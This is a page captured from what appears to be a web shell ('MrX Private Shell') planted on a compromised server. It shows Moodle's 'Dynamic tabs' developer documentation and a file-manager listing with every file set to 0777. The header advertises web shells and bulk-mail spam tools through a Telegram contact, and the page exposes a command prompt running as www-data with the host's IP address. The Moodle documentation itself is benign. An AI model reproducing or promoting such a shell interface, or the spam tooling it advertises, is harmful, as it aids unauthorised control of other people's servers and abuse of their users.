__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
layout: docs
title: "Dynamic tabs"
date: 2021-10-02T09:40:32+01:00
draft: false
tags:
- MDL-71943
- 4.0
---

## How it works

Dynamic tabs are tabs that load content in AJAX requests. Once the user clicks on the tab heading, the page does not reload but the content of the respective tab loads in AJAX request.

## Source files

* `lib/amd/src/dynamic_tabs.js`
* `lib/amd/src/local/repository/dynamic_tabs.js`
* `lib/classes/external/dynamic_tabs_get_content.php`
* `lib/classes/output/dynamic_tabs.php`
* `lib/classes/output/dynamic_tabs/base.php`
* `lib/db/services.php`
* `lib/templates/dynamic_tabs.mustache`

## How to use dynamic tabs

First of all we need to create a tab class file for each tab that we need, extending `lib/classes/output/dynamic_tabs/base.php`.

These tab classes need to include these 4 methods in order to work:

* `export_for_template` returns the data we export to the template
* `get_tab_label` returns the tab title
* `is_available` checks the tab permission and returns true/false that will enable/disable the individual tab
* `get_template` returns the path to the tab template file

{{< php >}}
class tab1 extends base {

    /**
     * Export this for use in a mustache template context.
     *
     * @param renderer_base $output
     *
     * @return stdClass
     */
    public function export_for_template(renderer_base $output) {
        $content = (object)[];
        $content->customtext = 'Tab 1 content example';
        return $content;
    }

    /**
     * The label to be displayed on the tab
     *
     * @return string
     */
    public function get_tab_label(): string {
        return 'Tab 1';
    }

    /**
     * Check permission of the current user to access this tab
     *
     * @return bool
     */
    public function is_available(): bool {
        // Define the correct permissions here.
        return true;
    }

    /**
     * Template to use to display tab contents
     *
     * @return string
     */
    public function get_template(): string {
        return 'tool_componentlibrary/dynamictabs_tab1';
    }
}
{{< / php >}}

Then we need to create the templates that each `get_template` method will call.

Finally, to add dynamic tabs to our page, we just need to call all the previously created tabs, and pass the attributes
needed in each tab.

These attributes will be stored as "data attributes" in the DOM and can be also used inside our tab classes
using `get_data` method (for example to check permissions in `is_available`).

{{< php >}}
    $tabs = [
        new tab1(['demotab' => 'Tab1', 'reportid' => $reportid]),
        new tab2(['demotab' => 'Tab2']),
    ];
    echo $OUTPUT->render_from_template('core/dynamic_tabs', (new dynamic_tabs($tabs))->export_for_template($OUTPUT));
{{< / php >}}

## Example

<iframe src="../../../../examples/dynamictabs.php" style="overflow:hidden;height:400px;width:100%;border:0" title="Moodle dynamic tabs"></iframe>

Filemanager

Name Type Size Permission Actions
_index.md File 85 B 0777
actionmenu.md File 6.39 KB 0777
activityicons.md File 8.38 KB 0777
buttons.md File 5.9 KB 0777
coursecards.md File 6.26 KB 0777
dom-modal.md File 4.29 KB 0777
dropdowns.md File 13.23 KB 0777
dynamictabs.md File 2.87 KB 0777
example.md File 1.52 KB 0777
footer.md File 1.49 KB 0777
form-elements.md File 1.08 KB 0777
moodle-icons.md File 1.71 KB 0777
notifications.md File 2.55 KB 0777
search-input.md File 3.42 KB 0777
showmore.md File 1.18 KB 0777
toggle.md File 2.29 KB 0777
Filemanager